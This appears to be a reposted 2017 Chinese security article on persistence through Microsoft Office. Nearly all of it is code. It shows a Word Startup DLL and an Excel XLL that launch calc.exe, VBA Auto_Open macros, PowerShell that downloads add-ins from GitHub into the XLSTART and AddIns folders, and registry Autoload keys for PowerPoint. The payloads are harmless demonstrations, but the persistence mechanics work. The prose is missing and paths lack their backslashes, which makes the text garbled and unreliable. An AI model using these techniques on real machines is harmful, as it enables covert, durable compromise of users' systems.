本文讲的是
Office后门的实现思路,
0x00 前言
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL,"hello world,I'm 3kb","title",MB_OK); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; }return TRUE;}
C:UsersaAppDataRoamingMicrosoftWordStartup
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: WinExec("calc.exe",SW_SHOWNORMAL); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; }return TRUE;}
$fileContent = [System.IO.File]::ReadAllBytes('calc.dll')$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("calcdllbase64.txt")
void xlAutoOpen(){ WinExec("calc.exe",SW_SHOWNORMAL);}BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
EXPORTSxlAutoOpen
$fileContent = [System.IO.File]::ReadAllBytes('calc.xll')$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("calcxllbase64.txt")
$OfficeVersion=dir -name "C:Program FilesMicrosoft OfficeOffice*"$Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )
Try { $OfficeVersion=dir -name "C:Program FilesMicrosoft OfficeOffice*" -ErrorAction Stop $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 ) } Catch { Write-Host "[!] I can't find Microsoft Office!" Write-Host "[+] Please reinput a correct path." } Write-Host "Microsoft Office Version:" $Ver
Sub Auto_Open() Set objShell = CreateObject("Wscript.Shell") objShell.Exec ("calc.exe")End Sub
$client = new-object System.Net.WebClient$client.DownloadFile("https://raw.githubusercontent.com/3gstudent/Office-Persistence/master/calc.xlam",$env:APPDATA+"MicrosoftExcelXLSTARTcalc.xlam")
Sub Auto_Open() Set objShell = CreateObject("Wscript.Shell") objShell.Exec ("calc.exe")End Sub
$client = new-object System.Net.WebClient$client.DownloadFile("https://raw.githubusercontent.com/3gstudent/Office-Persistence/master/calc.ppa",$env:APPDATA+"MicrosoftAddInscalc.ppa")
Try { $OfficeVersion=dir -name "C:Program FilesMicrosoft OfficeOffice*" -ErrorAction Stop $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 ) } Catch { Write-Host "[!] I can't find Microsoft Office!" Write-Host "[+] Please reinput a correct path." return } Write-Host "Microsoft Office Version:" $Ver$ExcelRegPath="HKCU:SoftwareMicrosoftOffice"+$Ver+".0PowerPoint"
$client = new-object System.Net.WebClient$client.DownloadFile("https://raw.githubusercontent.com/3gstudent/Office-Persistence/master/calc.ppa",$env:APPDATA+"MicrosoftAddInscalc.ppa")Try { $OfficeVersion=dir -name "C:Program FilesMicrosoft OfficeOffice*" -ErrorAction Stop $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 ) } Catch { Write-Host "[!] I can't find Microsoft Office!" Write-Host "[+] Please reinput a correct path." return } Write-Host "Microsoft Office Version:" $Ver$ExcelRegPath="HKCU:SoftwareMicrosoftOffice"+$Ver+".0PowerPoint"New-Item -type Directory $ExcelRegPath"AddIns" | Out-NullNew-Item -type Directory $ExcelRegPath"AddInscalc" | Out-NullNew-ItemProperty $ExcelRegPath"AddInscalc" Autoload -value "1" -propertyType DWORD | Out-NullNew-ItemProperty $ExcelRegPath"AddInscalc" Path -value "calc.ppa" -propertyType string | Out-Null
原文发布时间为:2017年7月21日
本文作者:3gstudent
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。